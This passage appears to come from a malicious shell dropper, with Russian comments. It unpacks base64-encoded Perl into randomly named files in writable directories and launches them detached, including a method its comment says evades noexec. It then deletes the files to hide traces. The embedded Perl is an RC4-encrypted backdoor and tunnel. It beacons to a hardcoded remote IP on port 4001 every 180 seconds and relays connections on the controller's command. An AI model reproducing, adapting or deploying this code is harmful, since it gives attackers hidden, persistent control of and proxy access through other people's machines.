QkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_c40d488a() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYW